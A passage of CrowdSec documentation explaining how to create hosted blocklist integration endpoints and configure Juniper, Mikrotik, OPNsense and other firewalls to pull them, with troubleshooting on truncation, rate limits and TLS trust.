client, for example: SHCOPY ``` curl -u 'usr:pass' https://admin.api.crowdsec.net/v1/integrations/$integID/content ``` ![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_light.png)![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_dark.png) ### Step 4 - Subscribe to Blocklists[โ€‹](#step-4---subscribe-to-blocklists "Direct link to Step 4 - Subscribe to Blocklists") The integration endpoint will serve the deduplicated blocklists it's subscribed to. After creation, a subscription pop-up appears automatically. You can also access it later via the **Add Blocklist** button. Select one or more blocklists available for your plan, then click **Confirm Subscription**. The blocklist name(s) will appear in the integration tile once subscribed. ![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_light.png)![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_dark.png)![Integration tile after subscription](/img/console_integrations_tile_light.png)![Integration tile after subscription](/img/console_integrations_tile_dark.png) *** ## Manage integration size limits with pagination[โ€‹](#manage-integration-size-limits-with-pagination "Direct link to Manage integration size limits with pagination") If you want to learn how to manage integration size limits with pagination, please refer to the [Managing integrations size limits with pagination](https://docs.crowdsec.net/u/console/service_api/integrations.md#managing-integrations-size-limits-with-pagination) section. This integration uses the plain text format. When pulling **without compression**, keep `page_size` at or below **\~300,000** entries to stay under the \~5 MB response limit; beyond that the response is truncated. Enabling compression avoids this limit entirely. ## References[โ€‹](#references "Direct link to References") * [Fortinet โ€” IP address Threat Feeds documentation](https://docs.fortinet.com/document/fortigate/6.4.5/administration-guide/891236/external-blocklist-policy) * [Video tutorial](https://www.youtube.com/watch?v=E3b4Yr2zf_s) ## Next Steps[โ€‹](#next-steps "Direct link to Next Steps") Subscribe to blocklists in the [Blocklist Catalog](https://docs.crowdsec.net/u/console/blocklists/catalog.md) to populate your integration. --- # Integrations CrowdSec Blocklist Integrations (also known as **Blocklist as a Service**) give you a secure, hosted HTTPS endpoint serving live blocklists that you configure your firewall or security tool to pull from.
You don't host anything: CrowdSec updates the blocklists multiple times per day, and your device fetches them on a schedule you control. Each integration represents a unique endpoint protected by Basic Authentication (username + password), consumable by any HTTP-capable device or software. ## Choosing the right integration[โ€‹](#choosing-the-right-integration "Direct link to Choosing the right integration") | Your situation | Recommended integration | | ---------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | | Your firewall supports external IP list ingestion | Use the dedicated page for your vendor in the [table below](#firewall-integrations) | | Any HTTP-capable device not listed | [Raw IP List](https://docs.crowdsec.net/u/integrations/rawiplist.md) (one IP per line), works in the vast majority of cases | | Platforms without native IP list ingestion (Cloudflare, AWS WAF, etc.) | [Remediation Component](https://docs.crowdsec.net/u/integrations/remediationcomponent.md) (CrowdSec's own integration layer) | ## Refresh frequency[โ€‹](#refresh-frequency "Direct link to Refresh frequency") Blocklists are updated multiple times per day. Configure your device to pull on the following schedule according to your plan: | Tier | Recommended refresh | Minimum allowed interval | | ---------- | ------------------- | ------------------------ | | Community | Every 24 hours | 24 hours | | Enterprise | Every hour | 1 hour | warning Pulling more frequently than the allowed interval for your plan will result in HTTP 429. ## Available integrations[โ€‹](#available-integrations "Direct link to Available integrations") ### Firewall integrations[โ€‹](#firewall-integrations "Direct link to Firewall integrations") Each vendor page explains how to create the integration in the CrowdSec Console and includes a link to the vendor's own documentation on how to configure ingestion on the firewall side. [![Checkpoint logo](/img/blaas/logo-checkpoint.png)](https://docs.crowdsec.net/u/integrations/checkpoint.md) [CheckpointCustom Intelligence (IoC) Feeds](https://docs.crowdsec.net/u/integrations/checkpoint.md) [![Cisco logo](/img/blaas/logo-cisco.png)](https://docs.crowdsec.net/u/integrations/cisco.md) [CiscoSecurity Intelligence feeds](https://docs.crowdsec.net/u/integrations/cisco.md) [![F5 logo](/img/blaas/logo-f5.png)](https://docs.crowdsec.net/u/integrations/f5.md) [F5External IP blocklist / Feed lists](https://docs.crowdsec.net/u/integrations/f5.md) [![Fortinet logo](/img/blaas/logo-fortinet.png)](https://docs.crowdsec.net/u/integrations/fortinet.md) [FortinetIP address Threat Feeds](https://docs.crowdsec.net/u/integrations/fortinet.md) [![Juniper logo](/img/blaas/logo-juniper.png)](https://docs.crowdsec.net/u/integrations/juniper.md) [JuniperSecurity Dynamic Address feeds](https://docs.crowdsec.net/u/integrations/juniper.md) [![Mikrotik logo](/img/blaas/logo-mikrotik.png)](https://docs.crowdsec.net/u/integrations/mikrotik.md) [MikrotikIP blocklist ingestion](https://docs.crowdsec.net/u/integrations/mikrotik.md) [![OPNsense logo](/img/blaas/logo-opnsense.png)](https://docs.crowdsec.net/u/integrations/opnsense.md) [OPNsenseURL Table (IPs) aliases](https://docs.crowdsec.net/u/integrations/opnsense.md) [![Palo Alto logo](/img/blaas/logo-paloalto.png)](https://docs.crowdsec.net/u/integrations/paloalto.md) [Palo AltoExternal Dynamic Lists (EDL)](https://docs.crowdsec.net/u/integrations/paloalto.md) [![pfSense logo](/img/blaas/logo-pfsense.png)](https://docs.crowdsec.net/u/integrations/pfsense.md) [pfSenseURL Table (IPs) aliases](https://docs.crowdsec.net/u/integrations/pfsense.md) [![Sophos logo](/img/blaas/logo-sophos.png)](https://docs.crowdsec.net/u/integrations/sophos.md) [SophosThird-Party Threat Feeds](https://docs.crowdsec.net/u/integrations/sophos.md) ### Other integrations[โ€‹](#other-integrations "Direct link to Other integrations") [![Raw IP List logo](/img/blaas/logo-rawiplist.png)](https://docs.crowdsec.net/u/integrations/rawiplist.md) [Raw IP List](https://docs.crowdsec.net/u/integrations/rawiplist.md) [One IP per line: compatible with virtually any firewall, router, or HTTP-capable device](https://docs.crowdsec.net/u/integrations/rawiplist.md) [![Remediation Component logo](/img/blaas/logo-remediationcomponent.png)](https://docs.crowdsec.net/u/integrations/remediationcomponent.md) [Remediation ComponentFor platforms without native IP list ingestion:![](/img/crowdsec_cloudfare.svg)Cloudflare![](/img/aws-waf-bouncer-logo.png)AWS WAF![](/img/WordPress-logotype-wmark.png)WordPress![](/img/crowdsec_logo.png)and more](https://docs.crowdsec.net/u/integrations/remediationcomponent.md) ## Setup a Blocklist Integration Endpoint[โ€‹](#setup-a-blocklist-integration-endpoint "Direct link to Setup a Blocklist Integration Endpoint") * 1- Create an integration * 2- Configure Endpoint * 3- Save your credentials * 4- Subscribe to blocklists ### Step 1 - Create an integration in the CrowdSec Console[โ€‹](#step-1---create-an-integration-in-the-crowdsec-console "Direct link to Step 1 - Create an integration in the CrowdSec Console") In your CrowdSec Console account, navigate to the **Blocklist** tab in the top menu bar, then select the **Integrations** sub-menu. Choose the integration type you need, then click **Connect**. info If you don't have a CrowdSec Console account, [sign up here](https://app.crowdsec.net/signup). On mobile, use the menu icon in the top-right corner, tap **Blocklist**, then **Integrations**. [![CrowdSec Integrations Screen](/img/console_integrations_light.png)![CrowdSec Integrations Screen](/img/console_integrations_dark.png)](https://app.crowdsec.net/blocklists/integrations) ### Step 2 - Fill in integration details[โ€‹](#step-2---fill-in-integration-details "Direct link to Step 2 - Fill in integration details") Name the integration *(must be unique to your account)* Optionally, add a description and tags to help you identify it later. You can also configure: * **Enable IP aggregation** โ€” aggregate IPs into CIDR blocks to reduce list size * **Pull limit** โ€” maximum number of IPs returned per pull (default: 10,000) Then click **Create** or **Save**. ![Integration Creation Screen](/img/console_integrations_creation_light.png)![Integration Creation Screen](/img/console_integrations_creation_dark.png) ### Step 3 - Copy your credentials[โ€‹](#step-3---copy-your-credentials "Direct link to Step 3 - Copy your credentials") warning The credentials shown next are displayed **only once**. Copy them before closing this screen. If you lose your credentials, you can regenerate them via **Configure โ†’ Regenerate Credentials** on the integration page. * \[BasicAuth] * \[Remediation Component] With this HTTPS endpoint and Basic Auth credentials, you can verify the endpoint with any HTTP client, for example: SHCOPY ``` curl -u 'usr:pass' https://admin.api.crowdsec.net/v1/integrations/$integID/content ``` ![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_light.png)![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_dark.png) The Remediation Component integration provides you with an API key to copy into your Remediation Component config file, along with the endpoint URL. ![CrowdSec Remediation Component Integration Credentials Screen](/img/console_integrations_rc_credentials_light.png)![CrowdSec Remediation Component Integration Credentials Screen](/img/console_integrations_rc_credentials_dark.png) ### Step 4 - Subscribe to Blocklists[โ€‹](#step-4---subscribe-to-blocklists "Direct link to Step 4 - Subscribe to Blocklists") The integration endpoint will serve the deduplicated blocklists it's subscribed to. After creation, a subscription pop-up appears automatically. You can also access it later via the **Add Blocklist** button. Select one or more blocklists available for your plan, then click **Confirm Subscription**. The blocklist name(s) will appear in the integration tile once subscribed. ![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_light.png)![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_dark.png)![Integration tile after subscription](/img/console_integrations_tile_light.png)![Integration tile after subscription](/img/console_integrations_tile_dark.png) ## Troubleshooting[โ€‹](#troubleshooting "Direct link to Troubleshooting") When an integration doesn't behave as expected, here is what to check. ### Truncated / incomplete blocklist[โ€‹](#truncated--incomplete-blocklist "Direct link to Truncated / incomplete blocklist") To keep responses small, the integration endpoint prefers **compression**. When a client doesn't support compression and the response exceeds the API gateway limit (around **5 MB**), the response is **truncated**, so your device only receives part of the blocklist. If you are not receiving the full list, you have two options: * **Enable compression (recommended).** Request a compressed response so the endpoint returns the full list in a compact form. warning Make sure your software actually handles compression **before** enabling it. Sending an `Accept-Encoding: gzip` header is not enough on its own: the client must also decompress the response, otherwise you get unreadable (compressed) data instead of a usable blocklist. With `curl`, use `--compressed` rather than setting the header manually. It both advertises the supported encodings and decompresses the response for you: SHCOPY ``` curl --compressed -u 'usr:pass' https://admin.api.crowdsec.net/v1/integrations/$integID/content ``` Many devices support compression natively. For instance, the [Mikrotik integration](https://docs.crowdsec.net/u/integrations/mikrotik.md) sets `http-header-field="Accept-Encoding:gzip"`. * **Use pagination.** If your client cannot handle compression, fetch the list in smaller chunks using the `page` and `page_size` query parameters. See [Managing integrations size limits with pagination](https://docs.crowdsec.net/u/console/service_api/integrations.md#managing-integrations-size-limits-with-pagination). When pulling **without compression**, keep each page under the \~5 MB limit by capping `page_size` (or by setting a `pull_limit` on the integration so every pull stays bounded). The safe value depends on your format, because each format produces a different number of bytes per entry. As a reference point, the plain text format truncates at roughly **350,000 IPv4 entries** at the 5 MB limit: | Format | Approx. bytes per entry | Suggested `page_size` (uncompressed) | | ---------------------------------------------------------------------------- | ----------------------- | ------------------------------------ | | Plain text (Palo Alto, Cisco, FortiGate, Juniper, OPNsense, pfSense, Sophos) | \~15 | 300,000 | | F5 | \~55 | 90,000 | | Checkpoint | \~85 | 60,000 | | MikroTik | \~125 | 35,000 | These values assume IPv4 entries; IPv6 entries and longer integration names take more bytes, so leave headroom. As a rule of thumb, `page_size โ‰ˆ 5,000,000 / bytes_per_entry`. info A warning on **stack health** will soon surface when an integration is receiving truncated data, making this easier to detect. ### HTTP 429 (rate limited)[โ€‹](#http-429-rate-limited "Direct link to HTTP 429 (rate limited)") An `HTTP 429` response means your integration is being **rate limited** because it is pulling more frequently than your plan allows (Community: 1 pull every 24 hours; Enterprise: no limit). See [Refresh frequency](#refresh-frequency) above and adjust your device's refresh schedule to respect the allowed interval for your plan. ### Firewall cannot pull the blocklist[โ€‹](#firewall-cannot-pull-the-blocklist "Direct link to Firewall cannot pull the blocklist") If your firewall or device fails to fetch the integration endpoint, work through the following two checks in order. **1. Verify the endpoint and credentials** Test the endpoint directly from a machine that has internet access: SHCOPY ``` curl -u 'USERNAME:PASSWORD' https://admin.api.crowdsec.net/v1/integrations//content ``` Replace `USERNAME`, `PASSWORD`, and `INTEGRATION_ID` with the values from your integration's credential screen in the CrowdSec Console. * If `curl` **fails** (HTTP 401 or connection error) โ€” the credentials are wrong or expired. Regenerate them via **Configure โ†’ Regenerate Credentials** on the integration page, then update the configuration on your device. * If `curl` **succeeds** and returns a list of IPs โ€” the endpoint and credentials are correct. The issue is on the device side; continue to check 2. note The endpoint requires Basic Auth and cannot be opened directly in a browser without a plugin or extension that supports it. **2. Check TLS certificate trust on the device** The integration endpoint is hosted on AWS infrastructure and uses a certificate signed by **Amazon Root CA 1**. Some firewalls and security appliances do not include Amazon's root certificates in their default trust store and will refuse the TLS connection silently or report a certificate error. If your device's pull fails even though `curl` succeeds, you likely need to import the Amazon Root CA 1 certificate into your device's certificate trust store and configure the integration to use it. The certificate is available at: TEXTCOPY ``` https://www.amazontrust.com/repository/AmazonRootCA1.pem ``` The full Amazon certificate repository is at [amazontrust.com/repository](https://www.amazontrust.com/repository/). Refer to your device's documentation for how to import a root certificate and how to associate it with an external IP list or URL feed. The exact steps vary by vendor and firmware version. --- # Juniper ![Juniper Integration Card](/img/console_integrations_juniper_card_light.png)![Juniper Integration Card](/img/console_integrations_juniper_card_dark.png) The CrowdSec Juniper integration connects CrowdSec's hosted blocklist endpoint to your Juniper router.
Juniper calls this feature **Security Dynamic Address feeds**, which allow you to import and automatically update IP address lists from external feed servers. info Ensure your Juniper device supports Security Dynamic Address feeds.
The vendor documentation is available in the [References](#references) section below. ## Create a Juniper Integration Endpoint[โ€‹](#create-a-juniper-integration-endpoint "Direct link to Create a Juniper Integration Endpoint") * 1- Create an integration * 2- Configure Endpoint * 3- Save your credentials * 4- Subscribe to blocklists ### Step 1 - Create an integration in the CrowdSec Console[โ€‹](#step-1---create-an-integration-in-the-crowdsec-console "Direct link to Step 1 - Create an integration in the CrowdSec Console") In your CrowdSec Console account, navigate to the **Blocklist** tab in the top menu bar, then select the **Integrations** sub-menu. Choose the integration type you need, then click **Connect**. info If you don't have a CrowdSec Console account, [sign up here](https://app.crowdsec.net/signup). On mobile, use the menu icon in the top-right corner, tap **Blocklist**, then **Integrations**. [![CrowdSec Integrations Screen](/img/console_integrations_light.png)![CrowdSec Integrations Screen](/img/console_integrations_dark.png)](https://app.crowdsec.net/blocklists/integrations) ### Step 2 - Fill in integration details[โ€‹](#step-2---fill-in-integration-details "Direct link to Step 2 - Fill in integration details") Name the integration *(must be unique to your account)* Optionally, add a description and tags to help you identify it later. You can also configure: * **Enable IP aggregation** โ€” aggregate IPs into CIDR blocks to reduce list size * **Pull limit** โ€” maximum number of IPs returned per pull (default: 10,000) Then click **Create** or **Save**. ![Raw IP List Integration Creation Screen](/img/console_integrations_creation_light.png)![Raw IP List Integration Creation Screen](/img/console_integrations_creation_dark.png) ### Step 3 - Copy your credentials[โ€‹](#step-3---copy-your-credentials "Direct link to Step 3 - Copy your credentials") warning The credentials shown next are displayed **only once**. Copy them before closing this screen. If you lose your credentials, you can regenerate them via **Configure โ†’ Regenerate Credentials** on the integration page. With this HTTPS endpoint and Basic Auth credentials, you can verify the endpoint with any HTTP client, for example: SHCOPY ``` curl -u 'usr:pass' https://admin.api.crowdsec.net/v1/integrations/$integID/content ``` ![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_light.png)![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_dark.png) ### Step 4 - Subscribe to Blocklists[โ€‹](#step-4---subscribe-to-blocklists "Direct link to Step 4 - Subscribe to Blocklists") The integration endpoint will serve the deduplicated blocklists it's subscribed to. After creation, a subscription pop-up appears automatically. You can also access it later via the **Add Blocklist** button. Select one or more blocklists available for your plan, then click **Confirm Subscription**. The blocklist name(s) will appear in the integration tile once subscribed. ![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_light.png)![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_dark.png)![Integration tile after subscription](/img/console_integrations_tile_light.png)![Integration tile after subscription](/img/console_integrations_tile_dark.png) *** ## Configure Juniper[โ€‹](#configure-juniper "Direct link to Configure Juniper") ### Define the feed server[โ€‹](#define-the-feed-server "Direct link to Define the feed server") TEXTCOPY ``` set security dynamic-address feed-server crowdsec-feed description "CrowdSec Feed" set security dynamic-address feed-server crowdsec-feed url https://:@admin.api.crowdsec.net ``` ### Define the threat feed and update interval[โ€‹](#define-the-threat-feed-and-update-interval "Direct link to Define the threat feed and update interval") TEXTCOPY ``` set security dynamic-address feed-server crowdsec-feed feed-name crowdsec-feed description "CrowdSec Feed" set security dynamic-address feed-server crowdsec-feed feed-name crowdsec-feed path /v1/integrations//content set security dynamic-address feed-server crowdsec-feed feed-name crowdsec-feed update-interval 1440 hold-interval 43200 ``` ### Define the AddressName-to-ThreatFeed mapping[โ€‹](#define-the-addressname-to-threatfeed-mapping "Direct link to Define the AddressName-to-ThreatFeed mapping") TEXTCOPY ``` set security dynamic-address address-name crowdsec-feed address-name crowdsec-feed feed-name crowdsec-feed ``` ### Review and commit the configuration[โ€‹](#review-and-commit-the-configuration "Direct link to Review and commit the configuration") TEXTCOPY ``` show security dynamic-address ``` The output should look like this: TEXTCOPY ``` feed-server crowdsec-feed { description "CrowdSec Feed"; url https://:@admin.api.crowdsec.net; feed-name crowdsec-feed { description CrowdSec Feed; path /v1/integrations//content; update-interval 120; hold-interval 43200; } } address-name crowdsec-feed { profile { feed-name crowdsec-feed; } } ``` ## Manage integration size limits with pagination[โ€‹](#manage-integration-size-limits-with-pagination "Direct link to Manage integration size limits with pagination") If you want to learn how to manage integration size limits with pagination, please refer to the [Managing integrations size limits with pagination](https://docs.crowdsec.net/u/console/service_api/integrations.md#managing-integrations-size-limits-with-pagination) section. This integration uses the plain text format. When pulling **without compression**, keep `page_size` at or below **\~300,000** entries to stay under the \~5 MB response limit; beyond that the response is truncated. Enabling compression avoids this limit entirely. ## References[โ€‹](#references "Direct link to References") * [Juniper โ€” Security Dynamic Address feeds documentation (JunOS)](https://www.juniper.net/documentation/us/en/software/nm-apps23.1/policy-enforcer-user-guide/topics/task/dynamic-example.html) ## Next Steps[โ€‹](#next-steps "Direct link to Next Steps") Subscribe to blocklists in the [Blocklist Catalog](https://docs.crowdsec.net/u/console/blocklists/catalog.md) to populate your integration. --- # Mikrotik ![Mikrotik Integration Card](/img/console_integrations_mikrotik_card_light.png)![Mikrotik Integration Card](/img/console_integrations_mikrotik_card_dark.png) The CrowdSec Mikrotik integration connects CrowdSec's hosted blocklist endpoint to your Mikrotik router.
Because Mikrotik does not have native external IP list ingestion, the integration uses a script that fetches the blocklist from CrowdSec's API and imports it into the Mikrotik firewall address list, scheduled to run automatically. info Ensure your Mikrotik device supports scripting and scheduled tasks. If unsure, refer to the Mikrotik documentation or contact Mikrotik support. ## Create a Mikrotik Integration Endpoint[โ€‹](#create-a-mikrotik-integration-endpoint "Direct link to Create a Mikrotik Integration Endpoint") * 1- Create an integration * 2- Configure Endpoint * 3- Save your credentials * 4- Subscribe to blocklists ### Step 1 - Create an integration in the CrowdSec Console[โ€‹](#step-1---create-an-integration-in-the-crowdsec-console "Direct link to Step 1 - Create an integration in the CrowdSec Console") In your CrowdSec Console account, navigate to the **Blocklist** tab in the top menu bar, then select the **Integrations** sub-menu. Choose the integration type you need, then click **Connect**. info If you don't have a CrowdSec Console account, [sign up here](https://app.crowdsec.net/signup). On mobile, use the menu icon in the top-right corner, tap **Blocklist**, then **Integrations**. [![CrowdSec Integrations Screen](/img/console_integrations_light.png)![CrowdSec Integrations Screen](/img/console_integrations_dark.png)](https://app.crowdsec.net/blocklists/integrations) ### Step 2 - Fill in integration details[โ€‹](#step-2---fill-in-integration-details "Direct link to Step 2 - Fill in integration details") Name the integration *(must be unique to your account)* Optionally, add a description and tags to help you identify it later. You can also configure: * **Enable IP aggregation** โ€” aggregate IPs into CIDR blocks to reduce list size * **Pull limit** โ€” maximum number of IPs returned per pull (default: 10,000) Then click **Create** or **Save**. ![Raw IP List Integration Creation Screen](/img/console_integrations_creation_light.png)![Raw IP List Integration Creation Screen](/img/console_integrations_creation_dark.png) ### Step 3 - Copy your credentials[โ€‹](#step-3---copy-your-credentials "Direct link to Step 3 - Copy your credentials") warning The credentials shown next are displayed **only once**. Copy them before closing this screen. If you lose your credentials, you can regenerate them via **Configure โ†’ Regenerate Credentials** on the integration page. With this HTTPS endpoint and Basic Auth credentials, you can verify the endpoint with any HTTP client, for example: SHCOPY ``` curl -u 'usr:pass' https://admin.api.crowdsec.net/v1/integrations/$integID/content ``` ![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_light.png)![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_dark.png) ### Step 4 - Subscribe to Blocklists[โ€‹](#step-4---subscribe-to-blocklists "Direct link to Step 4 - Subscribe to Blocklists") The integration endpoint will serve the deduplicated blocklists it's subscribed to. After creation, a subscription pop-up appears automatically. You can also access it later via the **Add Blocklist** button. Select one or more blocklists available for your plan, then click **Confirm Subscription**. The blocklist name(s) will appear in the integration tile once subscribed. ![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_light.png)![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_dark.png)![Integration tile after subscription](/img/console_integrations_tile_light.png)![Integration tile after subscription](/img/console_integrations_tile_dark.png) *** ## Configure Mikrotik[โ€‹](#configure-mikrotik "Direct link to Configure Mikrotik") ### Create the fetch script[โ€‹](#create-the-fetch-script "Direct link to Create the fetch script") Create a new script in your Mikrotik device: ![](/assets/images/mikrotik_1-8d9f4f446a75406007fe9263a3b27ede.gif) Add the following script content, replacing ``, ``, and `` with the values from the Console: SHCOPY ``` :local name "[crowdsec]" :local url "https://admin.api.crowdsec.net/v1/integrations//content" :local fileName "blocklist.rsc" :log info "$name fetch blocklist from $url" /tool fetch url="$url" mode=https dst-path=$fileName http-auth-scheme=basic user="" password="" idle-timeout="30s" http-header-field="Accept-Encoding:gzip" :if ([:len [/file find name=$fileName]] > 0) do={ :log info "removing old ipv4 blocklist" /ip/firewall/address-list/remove [ find where list="crowdsec-integration" ]; :log info "removing old ipv6 blocklist" /ipv6/firewall/address-list/remove [ find where list="crowdsec-integration" ]; :log info "$name import;start" /import file-name=$fileName :log info "$name import:done" } else={ :log error "$name failed to fetch the blocklist" } ``` warning Do not change `list="crowdsec-integration"` in the script โ€” this value is expected by the data format returned by the CrowdSec API. ![](/assets/images/mikrotik_2-da6c5183bed4b9d91f04fd1882ec2042.gif) Click **OK** to save the script. You can run it immediately and check the logs to verify it is working. ![](/assets/images/mikrotik_3-b8484eea5f1770ed4bb4b3c6a5ef4ce7.gif) ### Create the scheduler[โ€‹](#create-the-scheduler "Direct link to Create the scheduler") To automate the fetch, create a scheduler that runs the script every 24 hours. ![](/assets/images/mikrotik_4-93cba3bae08884bc6ebc2ea0f0672541.gif) warning Be mindful of the blocklist size you subscribe to in your integration, as large lists may cause performance issues on your Mikrotik device. ## Format example[โ€‹](#format-example "Direct link to Format example") The CrowdSec blocklist is served in Mikrotik format, with one entry per line: TEXTCOPY ``` /ip firewall address-list add list=crowdsec-integration address=1.2.3.4 comment="crowdsec/mikrotik" timeout=48h; /ip6 firewall address-list add list=crowdsec-integration address=2001:0db8:85a3::/128 comment="crowdsec/mikrotik" timeout=48h; ``` ## Manage integration size limits with pagination[โ€‹](#manage-integration-size-limits-with-pagination "Direct link to Manage integration size limits with pagination") If you want to learn how to manage integration size limits with pagination, please refer to the [Managing integrations size limits with pagination](https://docs.crowdsec.net/u/console/service_api/integrations.md#managing-integrations-size-limits-with-pagination) section. The MikroTik format emits a full command per entry, so entries are large. When pulling **without compression**, keep `page_size` at or below **\~35,000** entries to stay under the \~5 MB response limit; beyond that the response is truncated. Enabling compression avoids this limit entirely. ## Next Steps[โ€‹](#next-steps "Direct link to Next Steps") Subscribe to blocklists in the [Blocklist Catalog](https://docs.crowdsec.net/u/console/blocklists/catalog.md) to populate your integration. --- # OPNsense ![OPNsense Integration Card](/img/console_integrations_opnsense_card_light.png)![OPNsense Integration Card](/img/console_integrations_opnsense_card_dark.png) The CrowdSec OPNsense integration connects CrowdSec's hosted blocklist endpoint to your OPNsense firewall. In OPNsense, you'll use **URL Table (IPs) aliases** to create dynamic firewall aliases that automatically update from external URL sources. info Ensure your OPNsense version supports URL Table (IPs) aliases. If unsure, refer to the OPNsense documentation or contact OPNsense support. ## Create an OPNsense Integration Endpoint[โ€‹](#create-an-opnsense-integration-endpoint "Direct link to Create an OPNsense Integration Endpoint") * 1- Create an integration * 2- Configure Endpoint * 3- Save your credentials * 4- Subscribe to blocklists ### Step 1 - Create an integration in the CrowdSec Console[โ€‹](#step-1---create-an-integration-in-the-crowdsec-console "Direct link to Step 1 - Create an integration in the CrowdSec Console") In your CrowdSec Console account, navigate to the **Blocklist** tab in the top menu bar, then select the **Integrations** sub-menu. Choose the integration type you need, then click **Connect**. info If you don't have a CrowdSec Console account, [sign up here](https://app.crowdsec.net/signup). On mobile, use the menu icon in the top-right corner, tap **Blocklist**, then **Integrations**. [![CrowdSec Integrations Screen](/img/console_integrations_light.png)![CrowdSec Integrations Screen](/img/console_integrations_dark.png)](https://app.crowdsec.net/blocklists/integrations) ### Step 2 - Fill in integration details[โ€‹](#step-2---fill-in-integration-details "Direct link to Step 2 - Fill in integration details") Name the integration *(must be unique to your account)* Optionally, add a description and tags to help you identify it later. You can also configure: * **Enable IP aggregation** โ€” aggregate IPs into CIDR blocks to reduce list size * **Pull limit** โ€” maximum number of IPs returned per pull (default: 10,000) Then click **Create** or **Save**. ![Raw IP List Integration Creation Screen](/img/console_integrations_creation_light.png)![Raw IP List Integration Creation Screen](/img/console_integrations_creation_dark.png) ### Step 3 - Copy your credentials[โ€‹](#step-3---copy-your-credentials "Direct link to Step 3 - Copy your credentials") warning The credentials shown next are displayed **only once**. Copy them before closing this screen. If you lose your credentials, you can regenerate them via **Configure โ†’ Regenerate Credentials** on the integration page. With this HTTPS endpoint and Basic Auth credentials, you can verify the endpoint with any HTTP client, for example: SHCOPY ``` curl -u 'usr:pass' https://admin.api.crowdsec.net/v1/integrations/$integID/content ``` ![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_light.png)![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_dark.png) ### Step 4 - Subscribe to Blocklists[โ€‹](#step-4---subscribe-to-blocklists "Direct link to Step 4 - Subscribe to Blocklists") The integration endpoint will serve the deduplicated blocklists it's subscribed to. After creation, a subscription pop-up appears automatically. You can also access it later via the **Add Blocklist** button. Select one or more blocklists available for your plan, then click **Confirm Subscription**. The blocklist name(s) will appear in the integration tile once subscribed. ![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_light.png)![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_dark.png)![Integration tile after subscription](/img/console_integrations_tile_light.png)![Integration tile after subscription](/img/console_integrations_tile_dark.png) *** ## Configure OPNsense[โ€‹](#configure-opnsense "Direct link to Configure OPNsense") 1. Create a URL Table (IPs) alias with your desired update frequency. Embed the credentials in the URL using Basic Auth: TEXTCOPY ``` https://:@admin.api.crowdsec.net/v1/integrations//content ``` 2. Create a firewall rule to block IPs matching the alias. 3. Verify the alias is populated with your subscribed blocklists. Here is a walkthrough of the full OPNsense configuration: ![](/assets/images/opnsense-f7ac0936d565693c3a5f4e82ccf09464.gif) ## Manage integration size limits with pagination[โ€‹](#manage-integration-size-limits-with-pagination "Direct link to Manage integration size limits with pagination") If you want to learn how to manage integration size limits with pagination, please refer to the [Managing integrations size limits with pagination](https://docs.crowdsec.net/u/console/service_api/integrations.md#managing-integrations-size-limits-with-pagination) section. This integration uses the plain text format. When pulling **without compression**, keep `page_size` at or below **\~300,000** entries to stay under the \~5 MB response limit; beyond that the response is truncated. Enabling compression avoids this limit entirely. ## Next Steps[โ€‹](#next-steps "Direct link to Next Steps") Subscribe to blocklists in the [Blocklist Catalog](https://docs.crowdsec.net/u/console/blocklists/catalog.md) to populate your integration. --- # Palo Alto ![Palo Alto Integration Card](/img/console_integrations_paloalto_card_light.png)![Palo Alto Integration Card](/img/console_integrations_paloalto_card_dark.png) The CrowdSec Palo Alto integration connects CrowdSec's hosted blocklist endpoint to your Palo Alto firewall.
Palo Alto calls this feature **External Dynamic Lists (EDL)**, which allow you to import and automatically update blocklists from external sources. info Ensure your Palo Alto device supports External Dynamic Lists (EDL).
The vendor documentation is available in the [References](#references) section below. ## Create a Palo Alto Integration Endpoint[โ€‹](#create-a-palo-alto-integration-endpoint "Direct link to Create a Palo Alto Integration Endpoint") * 1- Create an integration * 2- Configure Endpoint * 3- Save your credentials * 4- Subscribe to blocklists ### Step 1 - Create an integration in the CrowdSec Console[โ€‹](#step-1---create-an-integration-in-the-crowdsec-console "Direct link to Step 1 - Create an integration in the CrowdSec Console") In your CrowdSec Console account, navigate to the **Blocklist** tab in the top menu bar, then select the **Integrations** sub-menu. Choose the integration type you need, then click **Connect**. info If you don't have a CrowdSec Console account, [sign up here](https://app.crowdsec.net/signup). On mobile, use the menu icon in the top-right corner, tap **Blocklist**, then **Integrations**. [![CrowdSec Integrations Screen](/img/console_integrations_light.png)![CrowdSec Integrations Screen](/img/console_integrations_dark.png)](https://app.crowdsec.net/blocklists/integrations) ### Step 2 - Fill in integration details[โ€‹](#step-2---fill-in-integration-details "Direct link to Step 2 - Fill in integration details") Name the integration *(must be unique to your account)* Optionally, add a description and tags to help you identify it later. You can also configure: * **Enable IP aggregation** โ€” aggregate IPs into CIDR blocks to reduce list size * **Pull limit** โ€” maximum number of IPs returned per pull (default: 10,000) Then click **Create** or **Save**. ![Raw IP List Integration Creation Screen](/img/console_integrations_creation_light.png)![Raw IP List Integration Creation Screen](/img/console_integrations_creation_dark.png) ### Step 3 - Copy your credentials[โ€‹](#step-3---copy-your-credentials "Direct link to Step 3 - Copy your credentials") warning The credentials shown next are displayed **only once**. Copy them before closing this screen. If you lose your credentials, you can regenerate them via **Configure โ†’ Regenerate Credentials** on the integration page. With this HTTPS endpoint and Basic Auth credentials, you can verify the endpoint with any HTTP client, for example: SHCOPY ``` curl -u 'usr:pass' https://admin.api.crowdsec.net/v1/integrations/$integID/content 